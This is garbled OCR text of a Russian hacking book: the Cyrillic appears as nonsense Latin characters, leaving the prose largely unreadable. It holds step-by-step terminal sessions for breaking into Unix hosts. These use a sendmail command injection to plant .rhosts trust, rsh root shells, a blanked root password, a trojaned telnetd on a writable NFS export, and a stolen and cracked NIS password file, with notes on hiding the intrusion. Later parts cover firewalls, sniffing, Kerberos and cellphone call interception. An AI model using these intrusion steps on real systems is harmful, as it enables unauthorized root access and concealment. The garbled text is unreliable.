rouTty. JIJIst iepechlIKM 3J1eKTPOHHOM TouThl 1o [P Ha monmasnsitoiem 6071b-
IIWHCTBE CUCTEM MCIOJIb3yeTcs Tporpamma sendmail, paspaboTaHHasi B yHU-
Bepcutere bepkim. 3agymMaHHas Kak YMCTO ClyxkeOHasl yTWJIMTA, 3Ta IMPO-
rpaMma IpuoOpesa OrpoMHYIO TIOMYyJSPHOCTb U BOIIJIA B COCTaB
nuctpubytuBa MHorux Unix-cucreM. OmHako oHa coxepxkaia B cebe O4eHb
Cepbe3HyI0 OIIMOKY, Oylarogapsi KOTOpOi JIto0O0M XeJlalolnuii UMesl BO3MOX-
HOCTb BBITIOJTHUTh Ha yIaJeHHOUN MalllMHe KOMaHIbl C IPUBUJIETUSIMU CYTIep-
noJib3oBaTesst. OOBIYHO B3JIOMIITUKY ITBITAJINCH OTIIPABUTH cebe aiin passwd
IIJIs1 TIombopa TmapoJieil MO0 moMeniaiu CBow MHMOpMaIuoo B (aibl, 1C-
MOJIB3YIOIIMECs MporpaMMamu rlogin, rsh mrst 3amycka shell 6e3 3ampoca ma-
poJisi, HaTIpuMep:

crack% telnet target.remote.com 25

Connecting to 123.456.654.321

I coeamHsemca no nopTy 25 - 3710 SMTP

220 sendmail SMI/4.3.5.2 ready
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| Bepcus, KoTOpas, Kak M3BECTHO, COAEPXMT ownbKky.
helo xxx

220 Helo xxx, ( crack.edu )

mail from: |echo crack.edu/.rhosts@target.remote.com
! noacTaBnsiem KomaHoy BMecTo 00paTHOro ajpeca.

200 Sender ok

rcpt to: nosuchuser

! BBOAMM 3apaHee HenpaBMNbHOrO ajpecaTa

500 nosuchuser: user unknown

I HecMoTps Ha coobueHne, npofoaXaeM Auanor

data

230 Enter mail, end with

200 Mail accepted

! BCe, MawuHa B3fOMaHa. . . .

quit

crack% su

I A Tenepb 3anesaem Tak, 4T0Ob HAC He ObNO BUAHO 4epes who
# rsh target.remote.com /bin/csh -i

Welcome to remote.com!

Warning! No access to terminal, job control disabled
target#

Dra onmbKa IPHUCYTCTBYET B HECKOJBKUX AECITKAaX pa3TMIHbBIX BapH-
anToB OC Unix caMbIX pa3HbIX (PUPM.

Kpome Toro, cyniecTByioT u 60oJiee mpocThie COCOObI MpU OJaronpu-
SITHBIX YCJIOBMSIX: ynajieHHas maiurHa Sun, cuctemMa SunOS 4, NIS ne 3amy-
1IIEH, CUCTEMA TIOCTaBIeHa, U HUYETO HE MCTIPABIISIOCH, HAIPUMED:

crack# su - bin

$ rsh target.remote.com /bin/csh -i

' B ganne /etc/hosts.equiv ecTb 3anucb + u ouwmbka. . .
Welcome to remote.com!

! KaTtanor /etc c Bnagenbuem bin. ..

Warning! No access to terminal, job control disabled
% 1s -1dg /etc

drwxr-xr-x 10 bin bin 1536 Apr 10 01:45 /etc/

% cd /etc

' lenaem passwd AOCTYMHbM Ha 3anuCb HaM. ..

% mv passwd passwd.was

% cp passwd.was passwd

I PepakTupyem

% ed passwd

2341

1p
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root:Nkkh5gk1jGyj:0:0:Root:/:/bin/csh
s/Nkkh5gk1iGyi//p
root::0:0:Root:/:/bin/csh
w
2341
q

I 1 B cynepnonb3oBaTens.

%echo /bin/csh -i | su root

Warning! No access to terminal, job control disabled!
target# mv /etc/passwd.was /etc/passwd

I YT06bl HMKTO HE 0OHapyxwn, 4TO Mbl Aenanu.

Kpome anexTponHoii moutsl, B TCP/IP ceTsix oueHb MIMPOKO MpUMe-
HSIIOTCST Pa3IMuHbIE BUIbI paclpeneeHHbIX (haliJIoBbIX CUCTEM, CAMOIA MOITy-
JisipHO# 13 KoTopbix saBisieTcss Network File System (NFS).

B ciyuae HeakKypaTHOTO 3arojHeHUs (daiina /etc/exports Wil HMc-
MOJIb30BaHMST AuCTpuOyTHBa ¢ ommnbkoit (SunOS 4.1) MOXeT BO3ZHUKHYThb
CJIEIYIOIIad CUTyalus:

crack% showmount -e target.remote.com

Export list for target.remote.com

/home Everyone

/disk3 neptun pluton alpha

I [loMawHne kaTtanoru gocTynHel no NFS

crack% su

# mount -t nfs target.remote.com:/home /mnt

# cd /mnt

| MoHTMpyeMm KaTanor K Ham

' KaTanor poCTyneH Ha 3anucb

drwxrwxr-x 10 bin bin 1536 Apr 10 01:45 /usr/etc
% grep telnet /etc/inetd.conf

telnet stream nowait root /usr/etc/in.telnetd in.telnetd
' Hawnu nporpammy, koTOpas 3anycTuTcs

'noa root'om M3 Hawero kaTanora

% cd /usr/etc

% mv in.telnetd in.telnetd

I co3pmaeM TPOAHCKOTO KOHA

% cat in.telnetd

#!/bin/sh

exec /bin/csh -1

“D

% chmod 755 in.telnetd

' n 3anyckaem ero

% telnet 127.1

Connecting 127.1

Warning! No access to terminal, job control disabled!
# chown user /etc;

! lenaem /etc cBOMM

“M: command not found

# exit;

“M: command not found

Connection closed by foreign host.

% cd /etc

! W panee, Kak B npuMmepe Bbllie.

Ecnu Ha mammHe pa6oraetr NIS-cepBep v He IPUHSITO JOMOJIHUTEb-

# 1s -1dg » HBIX MEp, TO C IOMOLIBIO CIIELMAJILHOI POrpaMMBI MOKHO YTAILUTh 110 CETH
drwxr-xr-x 10 257 20 1536 Apr 10 071:45 user/ aitn passwd, oOLLIMIl 1151 HEKOTOPOTo yuciIa MallH. B ciyyae Hecobione-
# echo crack.edu user/.rhosts HUS IpaBWI 1P CO3JAHUU NIAPOJIEH €CTh TOBOJbHO NIPUIMYHAS BEPOATHOCTD,
! YcTanaBnueaem .rhosts y nonb3osatens YTO Mporpamma crack momdepeT HEeCKONbKO. JlanbHeiIre coObITUSI MOTYT
# cat /etc/passwd pa3BoOpayMBaThCs 110 ONHOMY U3 CLIEHAPMEB /I MOJTy4E€HMS OJTHOMOYMIA Cy-
user::257:20::/: repnoJib3oBaTess (Iocjae TOTO, KaK Bbl 3allUIM HA YOaJeHHYI0 MallWHY Kak
"D IOJIb30BaTEIb):

I Cospaem Takoro xe y Hac

# su - user

I CTaHoBMMCS 1M

$ rsh target.remote.com /bin/csh -i

Warning! No access to terminal, job control disabled!
I Il 3axoamMM Ha yaaneHHyl MawuHy

% 1id

uid=257(user) gid=20(stuff) groups=20(stuff), 7(sys)
% 1s -1dg /usr/etc

! npoBepsdem Ha NIS cepsep

crack% rpcinfo -p target.remote.com | grep bind
120000 2 udp 2493 ypbind

I ecTb Takom. ..

crack% ypx -o target.passwd -g target.remote.com
! 3abupaem ¢ann naponein

crack% crack target.passwd

! n 3anyckaem nopbopuk naponen

[ a lot of time ]
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0K, user user has password iamuser
I Hawnwu, 3axogum

crack% telnet target.remote.com

| panee Kak B npeabayuem npuMepe.

EcTecTBeHHO, YTO €CJIM U3BECTHHI CIIOCOOBI TIPEOAOTEHUS 3alUThI, TO
JIOJDKHBI OBITh pa3paboTaHbl U CPeACTBA 3alIMThI. 11 MUHMMU3AIUM BO3-
MOXHBIX ITOITBITOK MPOHUKHOBEHUS B CETh OYeHD 3(D(HEKTUBEH MapIIpyTH3a-
TOp, YMEIOLINIA aHATU3UPOBATh IMTOTOK MPOXOISIIEH Yepe3 Hero MHpopMaLuu
M OCYIIECTBIISIONIMI (DUIBTPALIMIO ITAKETOB. DTa BO3MOXHOCTH pean30BaHa
MpaKTUYEeCKW BO BCEX alllapaTHBIX MapuipyTusatopax (cisco, wellfleet...)
u B Buae cneuuranbHoro I10O misg Unix-mamus (Sun, DEC, BSDI, FreeBSD).

Takue mapuipyTU3aTopbl MO3BOJISIOT OCYIIECTBISTH PabOTy B CETH
CTpOTO TIO OTpene/eHHbIM TpaBwiaM. Hanpumep, He npomyckaTh u3/B JiO-
KaJbHYI0 CETh HEKOTOPbIE MPOTOKOJIbl. OUeHb pEKOMEHIyeTCsl 3arnpeniaTh
rlogin, rsh, RPC (cm. [1pumepsl), a Takxke akeThbl, HAIPaBJIEHHbIE HA MTOPTHI
2048 1 2049 — sto mopte! AaHHBIX 17151 NFS. Takke pekoMeHtyeTcs 4eTKO oIl -
penenvuTh MallIMHbBI, IPUHUMAIOIINE MOUTY, U OTKPBITh MOPT 25 TOJBKO ISt
Hux. [lpy HeoOXomMMOCTH BO3MOXHA KOH(MUTYpAIKsI, KOTOpast BOOOIIe 3a-
TpelaeT Kakue-ambo 3aX0bl 1O CETH B JIOKAJTbHYIO CeTh, ITPY 3TOM pa3peliast
WU3HYTPU UCTIONb30BaTh Jt00bie TCP-cepBuCH T100anbHOIM ceTu. [TogoOHbIi
MapIIpyTU3aTOP WM KOMOWHAIIMS U3 HECKOJbKUX MAIIMH U (DUIBTPYIOIINX
MaplIpyTH3aTOPOB MOJYYWJIM Ha3BaHUe OpaHaMayap (ot aHrJ. firewall — cre-
Ha OTHSI).

7151 ycTaHOBJIEHYSI TTOJIHOTO KOHTPOJISI 32 BCEMU COSTMHEHUSIMU MOX-
HO MCTOJIb30BaTh TaK Ha3bIBaeMbIii TPOrpaMMHbI OpaHaMay3p (software fire-
wall). OH npencraBisieT coboil cBOeoOpa3HbIA MapLIPyTU3aTOp, KOTOPBIA
OCYIIIECTBJISIET KOHTPOJIb 32 COENUHEHUsSIMU He Ha ypoBHe IP-maketoB, a Ha
YPOBHE COOCTBEHHO KOHTPOJUPYEMBIX TPOTOKOJIOB.

B 3TOM ciydae pexkuM MpO3pavyHOi MePeChIIKY MaKeTOB BHIKITIOUEH,
HO BMECTO TIPOTPaMM, 00eCTICUNBAIONINX PAabOTy ¢ HEOOXOMMMBIMU TIPOTOKO-
namu (telnet, ftp...), 3amyckaroTcsl mporpaMMBbl, KOTOPbIe TPAHCIUPYIOT 3TU
MTPOTOKOJIBI B CETh IO APYTYIO CTOPOHY MAIIMHBI, OOBIYHO CBEPUBILINCH MO 6a-
3¢ TaHHBIX Ha TTPeIMET IMPAaBOMEPHOCTH TAKOTO COSAUHEHUST U TTOCIIEe UIEHTH -
(ukaluy roab3oBaTes.

st mosb30BaTestsi TakKo OGpaHIMay3p BBITJISIIUT €IMHCTBEHHBIM OK-
HOM Bo BHemHui mup. Hanmpumep, ecinu B ceTu mist TOTo, YTOOBI 3aiTH 1O ftp
Ha MamuHy arch.kiae.su, Bam Hamo HaOpaTk:

% ftp arch.kiae.su

Connected to arch.kiae.su

Name: (arch.kiae.su: you)

230 Guest login ok, send ident as password
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Password: you@your.site
230 - Hello, user@our.workstation.our.company.com

TO B CJIyJae MPOrpaMMHOTO OpaHIMay3pa Hajao Habuparh:

% ftp our-soft-firewall

Name: (our-soft-firewall:user) ftp@arch.kiae.su
Password: XXXXXXX

Connected to arch.kiae.su

Name: (arch.kiae.su: ftp)

230 Guest login ok, send ident as password
Password: you@your.site

230 - Hello, user@our-sort-firewall.our.company.com

AHaniornuHo pabotatot telnet, rlogin, X11 u 1.1.

Bopb6a € BO3SMOXXHOCTbIO OHOAU3A COAEPXAHUS
IP-nakeToB

Bce paccMoTpeHHBIE BBINIE TPUMEPHI OTHOCSITCS K TaK Ha3bIBa€MBIM
aKTUBHBIM MeToIaM. AKKypaTHOe aIMUHUCTPUPOBAHNE CUCTEMBI JIETKO CBO-
JIAT HA HET BCE PACCMOTPEHHBIE IBIPKU, HO COBEPILIEHHO OECCUJIBHO B Cllydyae
TIpUMEeHeHUs TTacCUBHOM aTaku. YTo 3T0 Takoe? CaMblil pacIipoCTpaHEeHHbIH,
MPOCTOI B UCMOJHEHUM CITOCOO — aHaiu3 MHGOpMalluK, TepeaaBaeMoil mo
KaHaJaM CBSI3U, IperMyllecTBeHHO 1o cetu Ethernet.

OcHOBaH OH Ha CBOMCTBE 3TOM CeTU, O1arogapss KOTOPOMY KaxKIbIii 1e-
pelaBaeMblil ITaKeT MOXKET OBbITh IIPOaHAIM3MPOBAH JI000i MaIIMHOM, TTOA-
KJIIOYEHHOU Ha 3TOT cerMeHT ceTu. [Ipu HaMuum J0CTaTOYHO ObICTPOi Ma-
LIXHBI C aAATITEPOM, pa3pellialolluM paboTy B pexXrUMe ITpueMa BceX MakeToB,
MOXKHO JIETKO M3BJIeKaTh TaKylo MH(pOpMalnio, KaK napoau makeroB NFS.

Eciv Ha 3TOM cerMeHTe PacIioIoKeHO HECKOJBKO MapIIpyTU3aTOPOB,
TO B HaIll GWIBTP MOMAAYT HE TOJBKO MAapOJId HaIlei CeTH, HO U Te, KOTOPHI-
MU OOMEHUBAIOTCS MapIIpyTU3aTOPhl. TaKiM 06pa3oM, 3a CpaBHUTEIBHO KO-
POTKOE BpEMsI MOXHO cOOpaTh KOJUIEKIIUIO Maposieil Ha HECKONIBbKUX COTHSIX
MaIITH.

st 60pb0OBI ¢ TAKMMU MeTOoaMu B KOoH1Ie 80-X romoB Oblia pa3paboTa-
Ha cuUCTeMa CeTeBOM MAECHTU(UKALMKU I10Jb30BaTeNsl IOJ Ha3BaHUEM
Kerberos. OcCHOBHOV 11€/1bI0 OBLIO TTOJTHOE UCKITIOUEHUE TIePEChUTKY TTapoJiei
o cetu. [Tonb3oBareb BBOAUT NApoJib TOJIBKO OIUH pa3 MpU PErucTpalvu B
CHCTeMe, TI0CJIe YeTO eMy BbIIesIeTCsl OUJIET Ha HECKOJIbKO YacoB, KOTOPBIM
XpaHUTCs B ¢haiiyie B 3aMOpPOBAHHOM BUJIE.

DTOT OUIeT comepKUT MHGOPMAILIMIO O MOJIb30BaTese, BpeMsl BblIauu,
ajgpec MalllMHbI U CIyYaliHO CreHepUPOBAaHHbIN KJIIOY IS JajbHEHIIero oo-
MeHa UIeHTU(UKALIMOHHON nHpopMalueii. [leppoHavyalbHBIM KIIOUOM CITy-
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2KHUT I1apOJIb ITOJIb30BATCIA. buner, BeImaHHBIA IIpU BXOJ€ B CUCTEMY, UCITOJIb-
3YETCA IJIs MMOJYUYCHU A BTOPUMYHBIX OWJIETOB, MO KOTOPbIM MOXKET OBITH npeno-
CTaBJIEH KaKOU-11b0 ceTeBoi CEpBUC.

Co CTOpOHEBI cepBepa MCIIOJNB3YeTCSI aHAJOTMIHBIA MEXaHU3M C TOM
pa3HUIICH, YTO B KAYECTBE MOJIH30BaTe/IsI BRICTYIIAET IIporpaMmMa, odecIieun-
BaloIas 3apPOIICHHBIN BUI yCIyTH. TakuM o6pa3oM, IIporpaMMa IojIb30Ba-
TeJIsl XU TTpOrpaMMa Ha CeEpBepe MOTYJYaloT Mapy CIy4alHBIX KJITI0YEH, C TIOMO-
IIbI0 KOTOPBIX OHM MMUGPYIOT HACHTU(PUKAIMOHHYI0O HMHOOpPMAIUIO,
MPUJIAraroT K HEW KOHTPOJIbHBIE CYMMbI M Ha 3TOM OCHOBE YIOCTOBEPSIOTCS
B TOM, YTO OHM T€, KEM MPEACTABUIUCD.

Ilocne sroro mporpamma MoJib30BaTeNsl MOXET MOJYYUTh AOCTYII
K cepBuUcy 6e3 3ampoca napoJisi. be3 3HaHUs epBOHAYATIBHBIX KJII0Yel ceaHC
He coctoutcs. Kpome Toro, nojsydyeHHas napa Kjirueil MOXeT ObITb UCTIOJb-
30BaHa [JIs I poBaHUs BCero ceaHca paboThl MO CETU. DTa CUCTeMa UMEET
LIeJIbIA psii HeMOCTaTKOB. Bo-niepBbIX, Moipa3yMeBaeTcsl YeTKOE pasieieHue
MalllMH Ha pabouue CTaHIMU 1 cepBepbl. B ciiyyae, eciy mosib3oBaTesb Mmoxe-
JIaeT, 3aii[is1 Ha cepBep, ¢ MOMOMIbIO telnet 3aiiTh Ha IPYTyIo MAllIMHY, UIEHTU-
¢ukanus He cpaboTaeT, TaK Kak I10JIb30BaTe/Ib MMEeT IIepBOHAYAJIbHBIN OM-
JIET TOJIbKO Ha TOI paboyeii cTaHLIMU, TAe OH BBOIWI MapoJib.

WNubMu citoBamu, B Kerberos Bepcuu 4 TOJTHOMOYMS TIOTH30BATEIIST HE
nepenaloTcst Ha Ipyrue MaiuHbl. Kpome Toro, Tpedyercs BbieieHHas Mall-
Ha nox cepeep Kerberos, npuyem padoraroias B MAaKCUMaJIbHO CEKPETHBIX
YCJIOBUSIX, MOCKOJIbKY Ha HEell CONEPXKUTCS 6a3a JaHHBIX, T/Ie CONEPXKaTCs BCe
napoJiv nojb3oBaresneii. Kerberos Bepcru 4 oueHb OrpaHUYeHHO MPUMEHUM B
CEeTH, TJIe BO3MOXHBI CUTYaIlWM, KOTJa B CHIIy psoa OOCTOSITEIILCTB CEPBEP
Kerberos HemocTymneH 1o ceTu (HenmpeaBUAeHHbIE COOU B POYTUHTE, YXyIIlle-
HWE WJIA OOPBIB CBSI3U U T.II.).

YacTh HEIOCTATKOB, MEPEYNCICHHBIX BBIIIE, JTUKBUANPOBaHA B Bep-
cHu 5, HO 3Ta peanu3anus 3amnpelieHa K akcropty u3 CIIA. 1o onmrncanHOMy
anroputMy pabdotaroT Takke cucteMbl Sphinx or DEC u NIS+ ot Sun. Otiu-
YaloTCS OHU MPUMEHEHMEM Pa3IMYHBIX aJITOPUTMOB IIMMPOBaHMS, APYTOTO
nporokoia nepegaun (RPC smecto UDP) u cmoco60oB 00beqHEHUS aqMuU-
HUCTPATUBHBIX TOMEHOB B H€PAPXUIO.

KpoMe paccMOTpeHHBIX, CYIIECTBYIOT U APYrue, 6ojiee U30LIPEeHHBIE,
CIocoObl BTOPXKeHUSI. MHOTME U3 HUX MOXKHO HEHTpaanu30BaTh MPOCTHIM aK-
KypaTHBIM aAMUHUCTpUpoBaHUeM. [1o ctaTUCTHKe, OOJBbIIMHCTBO B3JIOMOB
OCYIIECTBJISIETCS] M3-3a XaJJaTHOCTU aMUMHMCTPATOPOB WJIM MepcoHaa, 9KC-
MJIyaTupyollero cuctemy. He oTkianbiBast B AOJITHI AIIKMK, TPOBEPHTE Mepe-
YUCJIEHHBIE BbIIIe CIIOCOOBI HECAHKIIMOHUPOBAHHOTO IOCTYIa — €CJIU yAacT-
s B3/IOMaTh Balll KOMIIbIOTEP BaM, TO 3TO MOTYT CieJaTh U ApYTUe.
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AnaBa 23.
Mo6uAbHOS CBA3b

Tak yX ycTpoeH MU, 4TO JIIo60e TEXHNUECKOe N300peTeHNE YeIoBeUe-
CKOTO pa3yMa, pacIIupsiolee Hallli BO3MOXKHOCTH 1 CO3IalolIee s Hac J10-
TTOJTHUTENIBHBIN KOMMOPT, HEM30EKHO CONEPXKUT B cebe M OTpUllaTeIbHbBIE
CTOPOHBI, KOTOPHIE MOTYT TIPEICTaBISITh MOTCHIMATBHYIO OIMACHOCTDH JUTS
rob3oBaTessa. He SIBISIOTCS MCKITIOUEHWEM B 3TOM IJIaHE W COBPEeMEHHBIE
cpencTBa 6eCIpOBOIHONM TTEPCOHANBHOM CBsI3M. Jla, OHM HECOM3MEPUMO pac-
IIAPUJIN HaIly CBOOOMY, «OTBsI3aB» HAC OT TeJe(pOHHOTO armapaTa Ha pabo-
YeM CTOJIe U IaB HaM BO3MOKHOCTB B JTI000€ BpeMs U B JTIOOOM MECTE CBA3aTh-
¢ ¢ HEOOXOMUMBIM KOppECTTOHAeHTOM. Ho HeMHOTHe 3HAIOT, YTO 3TH «Jyeca
TEXHUKHW» CKPBIBAIOT B ceO¢ BechMa OTACHBIE «JIOBYIIKW». U 111 TOTO, 9YTOOBI
OITHAXKIBI Balll TTOMOIIHUK — CKaXKeM, COTOBBIN Tele(hOH — He TIPEeBpaTUIICS
B BallleTO Bpara, 3TH «JIOBYIIKW» CJICIYET XOPOIIO U3YIHTh.

YToOkI Jyyllle TIOHATH IPOOJIeMbI, CBSI3aHHBIE C MCIOJIb30BaHUEM Oec-
MPOBOJHBIX CPEICTB CBS3W, JaBaliTe BCIIOMHUM, YTO 3TU CPENCTBA U3 CeOs
MPEICTABISIOT U KaK padoTaloT.

CoBpeMeHHbIe OeCIPOBOIHbBIE CPEACTBA TMTEPCOHANBHON CBA3U BKITIO-
4aloT B ce0s1 MOOMITbHBIE TeJIe(OHBI COTOBO CBSI3M, TTEMIKEPHI U GECTIPOBO-
HbIE CTAlIMOHAPHBIE PAAVOTETe(POHBI.

MobuabHbIe TeIeOHBI COTOBOI CBSI3M (PAKTUUECKU SIBJISIIOTCS CJIOXK-
HOIf MMHMATIOPHOM MpHeMo-Mepenaioneil pannoctanumneii. Kaxmomy coto-
BOMY TeJie(DOHHOMY amiiapaTy IpruCcBauBaeTCs CBOM 2JIEKTPOHHBIN CEpUIHBIN
"HoMmep (ESN), KoTophlii KogupyeTcsi B MUKpOYHUIle TeJiehoHa IPU €ro U3ro-
TOBJIEHUU U COOOIIaeTCs U3TOTOBUTENISIMU anmapaTyphbl ClieIMaIMCTaM, OCy-
LIECTBJSIONIUM ero oociayxuBaHue. Kpome Toro, HeKOTOpble U3TOTOBUTEIU
YKa3bIBaIOT 3TOT HOMEP B PYKOBOJCTBE /ISl Mojib3oBaTess. [1pu noakioue-
HUU amnrapara K COTOBON CHCTeMe CBSI3M TEXHUKU KOMITAHUM, MPEIOCTaBIIs-
IOIlIEe} YCIIyTU 9TOW CBSI3U, NOTIOJIHUTEIBHO 3aHOCST B MUKPOYUIT TejaedoHa
ele ¥ MOOMJIbHBIN naeHTU(UKAMOHHBIM HoMep (MIN).

MoOuIbHBINA COTOBBIN TeaeOH uMeeT OOJIbIIYIO, a MHOTIAa M Heorpa-
HUYEHHYIO JaJIbHOCTh ICUCTBUS, KOTOPYIO 00ecreurnBaeT COToBasi CTPYKTypa
30H CcBs3U. Best Tepputopust, o6ciry>)KuBaeMasi COTOBOI CUCTEMOM CBSI3M, pa3-
JIeJICHA Ha OTAE/IbHbIC MPWICTAIOLINE IPYT K IPYTY 30HbI CBSI3U, WU «COTBI».
TenedoHHbIT 0OMEH B KaX/10i TaKO 30HE yrpaBJisieTcsi 06a30BOi CTaHLIUEIH,
CMOCOOHOU MPUHUMATh U MepeJaBaTh CUTHAJIbI Ha 00JIbIIOM KOJIMYECTBE pa-
nroyactoT. Kpome Toro, 3ra cTaHUMS MOLKIIIOYEHA K OOBIYHOM NMPOBOIHOM
TeJePOHHOM CeTH M OCHAlIEHA amlmapaTtypoi Mpeodpa3oBaHUs BbICOKOYAC-
TOTHOTO CUTHaJIa COTOBOTO Tesie(hOHAa B HU3KOYACTOTHBII CUTHAT TTPOBOIHO-



XakepcKkue TpoKu 253

ro tesiechoHa U HA0OOPOT, YEM OOECIIEUMBAETCSI COMPSIKEHUE 00EUX CHUCTEM.
IMepuonnuecku (¢ nHTepBagoM 30-60 MUHYT) 6a30Bast CTAHLIVIS U3Ty4aeT CITy-
KeOHbIN curHaji. [IpuHSB ero, MOOMJIbHBIN TeeOH aBTOMAaTUIECKU 100aB-
sisieT K Hemy cBou MIN- 1 ESN-HoMepa 1 nepeaaeT MoTy4uBIIYIOCs KOAOBYIO
KOMOMHaUMIO Ha 0a30BYl0 CTaHLMIO. B pe3ynbrare 3TOro ocCyuiecTBIsIETCS
UAeHTUMUKALIMST KOHKPETHOTO COTOBOTrO TeseoHa, HoMepa cyeTa ero Bia-
Jiesiblia ¥ TIPUBSI3Ka anmapara K onpe/esieHHO 30He, B KOTOPOi OH HAaXOAWT-
Csl B IaHHBII1 MOMEHT BpeMEHU.

Korna nmosnb3oBareib 3BOHUT MO cBoeMy TejiedoHy, Oa30Basi CTAaHLIUS
BBIJICJIICT €My OHY M3 CBOOOIHEIX YaCTOT TOM 30HBI, B KOTOPOI OH HAXOIUT-
Csl, BHOCUT COOTBETCTBYIOIINE M3MEHEHMS B €T0 CUET U ITIepeacT eT0 BHI3OB 110
Ha3HauyeHUI0. Ecim MOOMIBHBIN MTOJIb30BaTeIb BO BPEMsI pa3roBopa IepemMe-
IIaeTCSI U3 OJHOM 30HEI CBSI3M B IPYTYIO, 0a30Bast CTAHIMS TOKUIAeMOI 30HEI
aBTOMATUYECKU IePEBOAUT CUTHAJ HAa CBOOOIHYIO YACTOTY HOBOIT 30HBEI.

[eiimxeprl peacTaBIsIOT COO0M MOOMIbHBIE PATIMOIIPUEMHUKMU C YC-
TPOMCTBOM PErMCTpaLiii COOOIEeHI B OYKBEHHOM, LIM(POBOM MU CMEIlIaH-
HOM IIpeAcTaBIeHNH, paboTalolre, B OCHOBHOM, B nuara3zoHe 100-400 MI'w.
CucremMa MeHIKMHIOBOM CBS3M IIPUHMMAET COOOILIEHHE OT Teae(OHHOrO
abOHeHTa, KOAUPYET ero B HYXKHBIH (hopMaT 1 nepemaeT Ha MelKep BhI3bIBa-
€MOro abOHEeHTA.

CralMoHapHblii O6ecrpoBOIHbINA paaroTesedoH 0O0beAUHsIET B cebe
OOBIYHBII ITPOBOMHBIN TeeOH, TTPEACTaBICHHBIA CAMUM aIlllapaToM, IO~
KJTIOUEHHBIM K Tesle()OHHOI CeTH, 1 TPUEeMO-TIepealolee PajroyCTPOCTBO
B BUIIE TeJIe(hOHHOM TPYOKH, 0OecITeurBaroIeil JBYCTOPOHHWIT OOMEH CUTHA-
Jamu ¢ 6a30BbIM arnmapaTtoM. B 3aBucrMocTH oT THTIA pagroTenedoHa, Aab-
HOCTb CBSI3M MEXITy TPYOKOI M aIlliapaTtoM, ¢ y9eTOM HaJIMUYUS TIOMEX U Tiepe-
OTpaXxalolINX TOBEPXHOCTE, COCTABISIET B cpeqHeM 10 50 METpoB.

[IpoGiema Oe3omacHOCTA IIPU IIOJB30BAHMU COTOBEIM TeIe(OHOM
U IPYTUMU MOOWJIBHBIMU CPEICTBAMM IEPCOHANIbHOM OECIPOBOIHONM CBSI3U
MMeeT [IBa acliekTa: (pm3mueckasi 6e30MacHOCTh MOJIb30BaTeNIs U Oe3omac-
HOCTb MH(OpMaLK, TIepeIaBacMOIi C TOMOIILIO 3TUX YCTPOICTB. 31ech cpa-
3y CJeAyeT OrOBOPUTHLCS, YTO Yrpo3y (PM3MYeCcKOoil 6Ge30MacHOCTU CO34AET
TOJIbLKO MOOUJIBHBIN COTOBBIN TeJe(MOH, TaK KaK MeiaKephl U CTallMOHAPHBIE
paguoTeneOHBI SIBISIIOTCS HE U3JIyYaloIMMK WIK ¢1a00 M3IyJaloluMy yC-
TPOMCTBAMU U XapaKTEPU3YIOTCS OTIMUHBIMU OT COTOBBIX T€JI€(DOHOB YCIOBU-
SIMHU U TTOPSIIKOM TT0JIb30BaHUS.

Mpo6Aema 3awmTbl UHGOPMALUU

Bb1, HaBepHOE, He pa3 CibIIAIY peKJIaMy KOMIIaHU, TPeI0CTaBIsIO-
IIUX YCIYTU COTOBOM CBsI3U: «HanmexxHast cBs3b 110 1oCTyIHOM 1ieHe!». [laBaii-
TE MPOAaHAJIU3NPYEM, HeﬁCTBHTeﬂLHO JIM OHA TaK y>K HaJl€>KHa. C TeXHUYECKOU
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TOYKH 3peHUs — Aa. A ¢ TOYKM 3peHUs O€30ITaCHOCTH TepeaaBaeMoii MHpOpP-
Manuu?

B Hacros1ee BpeMs 3JIeKTPOHHBIN TTEpeXBAT pasTOBOPOB, BEMYIIINXCS
[0 COTOBOMY MJIM OECIIPOBOIHOMY paanoTesaeOHy, CTal IMUPOKO PACIIPO-
CTPaHEHHBIM SIBJIEHHAEM.

Tak, HanipuMep, B KaHaje, 1o ctatuctnyeckuM gaHHbIM, oT 20 10 80%
pamuooOMeHa, BeAyIIEerocs: C MIOMOIIBIO COTOBBIX TeJIe(POHOB, CIIy4aliHO WU
MpeaHaMEPEHHO MPOCIYIIMBAETCS MOCTOPOHHUMMU JIMLIAMU.

DNEeKTPOHHBIN TepexBaT COTOBOW CBSI3M HE TOJILKO JIETKO OCYIIe-
CTBUTh, OH, K TOMY €, He TpeOyeT OOIbIIMX 3aTpaT Ha arlrnaparypy, 1 ero rnoy-
TH HEBO3MOXHO 00HapykuTh. Ha 3anane npociaylBaHue v/ 3aruch pas-
FOBOPOB, BEAYUIUXCSI C TIOMOIIbIO OECMPOBOJHBIX CPEACTB CBSI3U,
MPAaKTUKYIOT ITPaBOOXPAaHUTEJbHBIC OPraHbl, YACTHBIC NETCKTUBBI, IIPOMBIIII-
JICHHBIE IIMUOHBI, TIPEICTABUTENIN TIPECChl, TeJe(OHHbIE KOMITAHUM, KOM-
MbIOTEPHBIE XaKepbl U T.11.

B 3amagHBIX cTpaHax yXe JaBHO M3BECTHO, UTO MOOWMJIBHBIE COTOBBIC
TeneOHbI, 0COOEHHO aHAJIOTOBBIE, SIBJISIOTCS CAMbIMU YSI3BUMBIMU C TOUKHU
3pEHUS 3allUTHI TTepeaBaeMoil MH(GOPMAaIIUN.

IMpuHuMn nepegayn MHGOPMALMU TaKUMM YCTPOMCTBAMU OCHOBAH
Ha U3JyYeHUU B 3(pup paauocurHaia, mos3Tomy oo YeJoBeK, HaCTPOUB
COOTBETCTBYIOIIIEE PATUONIPUEMHOE YCTPOMCTBO Ha Ty K€ YACTOTY, MOXET yC-
JIBIIIATh KaXa0€ Ballle coBO. st 3TOro naxe He HY>)KHO UMETb 0CO0O0 CI0XK-
HOIi annapartyphbl. Pa3roBop, Benyiuiicst ¢ CoToBoro TejaedoHa, MOXeT ObITh
MPOCJIYILIaH C TOMOUIBIO MPOAAIOIIMXCS Ha 3araze MporpaMMUpyeMbIX CKaH-
epoB ¢ nojocoii npuema 30 kI'1, CHOCOOHBIX OCYIIECTBIISITH MOUCK B Auara-
30He 860-890 MTI'u. st 9TOM Ke LeaM MOXHO MCITONIb30BaTh U OOBIYHBIE
CKaHephbl MocJie X HeOOoIbIION MoAMDUKAILIMU, KOTOPasl, KCTaTH, BeCbMa Io-
npobHO onucaHa B Internet'e. IlepexBaTuTh pa3roBop MOXHO Jaxe MyTeM
MemlIeHHol nepecTpoliku YKB-TIoHepa B TejleBU30pax CTapbiX MoOAeeil B
BEPXHEH M0JI0Ce TeJIEBU3MOHHBIX KaHAIOB (0T 67 10 69), a MHOTAA U C TTIOMO-
1IbI0 OOBIYHOro pamuoTioHepa. HakoHell, Takoil mepexBaT MOXKHO OCYIe-
cTBUTH ¢ momouipio T1K.

